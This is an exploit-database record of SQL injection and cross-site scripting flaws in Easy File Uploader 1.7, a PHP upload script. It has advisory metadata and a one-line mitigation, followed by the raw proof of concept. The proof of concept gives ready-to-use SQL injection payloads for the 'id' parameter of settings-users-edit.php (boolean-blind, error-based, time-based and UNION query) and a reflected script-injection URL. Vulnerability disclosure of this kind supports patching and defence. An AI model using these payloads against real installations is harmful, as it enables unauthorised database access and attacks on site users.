Easy File Uploader 1.7 - SQL Injection / Cross-Site Scripting

vendor:

Easy File Uploader

by:

Özkan Mustafa Akkus (AkkuS)

7.5

CVSS

HIGH

SQL Injection and Cross-Site Scripting

89, 79

CWE

Product Name: Easy File Uploader

Affected Version From: 1.4

Affected Version To: fourth update

Patch Exists: YES

Related CWE: N/A

CPE: a:codecanyon:easy_file_uploader

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Kali Linux

2018

Easy File Uploader 1.7 – SQL Injection / Cross-Site Scripting

Non-authorized users can perform the attack in the editing area. The SQL Injection payloads include boolean-based blind, error-based, AND/OR time-based blind and UNION query. The Cross-Site Scripting payload includes a malicious script.

Mitigation:

Implement input validation and output encoding to prevent SQL Injection and Cross-Site Scripting attacks.

Source

Exploit-DB raw data:

# Exploit Title: Easy File Uploader 1.7 - SQL Injection / Cross-Site
Scripting
# Dork: N/A
# Date: 22.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/easy-file-uploader-php-multiple-uploader-with-file-manager/17222287
# Version: 1.4 / fourth update
# Category: Webapps
# Tested on: Kali linux
# Description : Non-authorized users can perform the attack in the editing
area.
====================================================

# PoC : SQLi :

Parameter : id

     Type : boolean-based blind
     Demo :
http://test.com/EasyFileUploader/settings-users-edit.php?id=1
  Payload : id=1' RLIKE (SELECT (CASE WHEN (7769=7769) THEN 27 ELSE 0x28
END))-- wKWi

     Type : error-based
  Payload : id=1' AND (SELECT 6379 FROM(SELECT
COUNT(*),CONCAT(0x717a627671,(SELECT
(ELT(6379=6379,1))),0x7178707071,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ATeG

     Type : AND/OR time-based blind
     Demo :
http://test.com/EasyFileUploader/settings-users-edit.php?id=1
  Payload : id=1' AND SLEEP(5)-- gTLZ

     Type : UNION query
     Demo :
http://test.com/EasyFileUploader/settings-users-edit.php?id=1
  Payload : id=-3300' UNION ALL SELECT
NULL,NULL,CONCAT(0x717a627671,0x79556745594846426c69514d71737744775a6450464a5963786658766171476f447a79684675714a,0x7178707071),NULL,NULL,NULL,NULL,NULL,NULL#


====================================================

# PoC : XSS :

  Payload :
http://test.com/EasyFileUploader/settings-users-edit.php?id=%27%20%3C/script%3E%3Cscript%3Ealert%28%27akkus+keyney%27%29%3C/script%3E%E2%80%98
;